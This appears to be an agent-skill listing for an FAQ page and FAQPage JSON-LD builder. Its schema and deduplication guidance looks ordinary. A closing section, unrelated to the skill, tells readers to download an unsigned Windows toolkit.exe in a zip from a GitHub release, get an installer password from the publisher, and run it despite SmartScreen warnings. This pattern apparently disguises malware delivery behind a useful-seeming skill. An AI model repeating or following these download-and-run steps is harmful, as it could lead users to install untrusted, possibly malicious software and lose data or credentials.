360 Secure SkillHub
360 安全技能中心

FAQ Schema Content Builder

依据 FAQ 问题 CSV 去重问题,生成可见答案与对应的 FAQPage JSON-LD,并校验标记答案与页面文本是否一致;核心脚本仅用 Python 3 标准库,无需网络或 API 密钥。可选 Windows 多工具应用为单独下载,不包含在本包内。

分类:效率
rapidworker1
rapidworker1
热度 4.92
最近更新 2026-10-23 21:36:31

安装

发给 Agent
帮我安装这个技能:npx secure-skills-cli add rapidworker1/faq-schema-content-builder
兼容性
通用兼容
联网要求
不联网
数据出网
数据不出本机
Metadata
name
faq-schema-content-builder
description
Builds a deduplicated FAQ page and the JSON-LD that matches it, so the markup and the visible answers stay in sync. Use when the user asks for faq schema builder, faq page json-ld, faq structured data generator. For US web teams and agencies shipping FAQ pages for retail, healthcare and support sites.
version
1.0.7
metadata
{"openclaw":{"requires":{"anyBins":["python3","python"]},"homepage":"https://github.com/rapidworker1"}}

FAQ Schema Content Builder

Builds a deduplicated FAQ page and the JSON-LD that matches it, so the markup and the visible answers stay in sync. Written for US web teams and agencies shipping FAQ pages for retail, healthcare and support sites.

Use this skill when someone asks for:

  • faq schema builder
  • faq page json-ld
  • faq structured data generator
  • faq page template

The job

FAQ pages get marked up from a spreadsheet, so the schema describes questions the page no longer shows and the markup breaks.

What you get

  1. Collect the question list from support, sales and the on-site search logs.
  2. Deduplicate the questions so each one is answered once on the page.
  3. Write the visible answer first, then the JSON-LD that mirrors it exactly.
  4. Validate the pairs so every marked-up answer exists on the page and matches the visible text.

Output contract:

  • questions - the deduplicated list with the source of each question
  • answers - the visible answer text for each question
  • json_ld - the FAQPage markup for the approved questions
  • mismatches - the marked-up answers that do not match the visible text

US specifics that matter

  • Google says FAQ rich results are limited to well-known, authoritative government and health websites, so most business FAQ pages will not get a rich result.
  • Google's structured data policy requires the marked-up content to be visible on the page; the answer has to exist in the HTML.
  • Google deprecated the HowTo rich result in September 2023, so an FAQ page should not carry how-to markup.
  • The Schema.org FAQPage type expects a mainEntity array of Question items, each with an acceptedAnswer.

Guardrails (hard rules)

  • Never mark up a question or an answer that is not visible on the page.
  • Never invent a question the business does not answer, and never pad the page with fake entries.
  • Never write a health answer that gives medical advice or a diagnosis.

Quickstart

1. Fill in the brief

templates/faq-questions.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/dedupe_faq_questions.py --input faq-questions.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/faq-schema-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

How the markup has to line up

  • The FAQPage JSON-LD holds a mainEntity array of Question objects.
  • Each Question carries a name and an acceptedAnswer with a text field.
  • The answer text in the markup has to match the visible answer, word for word.
  • One FAQPage block per page; do not stack several markup blocks on one URL.

What Google does with FAQ markup

  • FAQ rich results are limited to well-known authoritative government and health sites.
  • Google requires the marked-up content to be visible on the page.
  • Google deprecated the HowTo rich result in September 2023.

Getting the questions people actually ask

  • Pull questions from support tickets, live chat transcripts and on-site search terms.
  • Deduplicate near-identical questions before the page is written.
  • Answer the question on the page before marking it up; markup never replaces an answer.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item Value
Download https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/multitool.zip
File multitool.zip (4.4 MB)
SHA-256 a82bf643085d86cae398f49ec9a53dad213d0118dfb49fcf405c4679c9c4c5b6
Inside the archive multitool/toolkit.exe

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

  • SKILL.md - this file
  • references/faq-schema-rules.md - FAQ pages and FAQPage markup
  • templates/faq-questions.csv - the brief to fill in
  • scripts/dedupe_faq_questions.py - the working script

Verify the bundle

python3 scripts/dedupe_faq_questions.py --input faq-questions.csv --out ./out

Related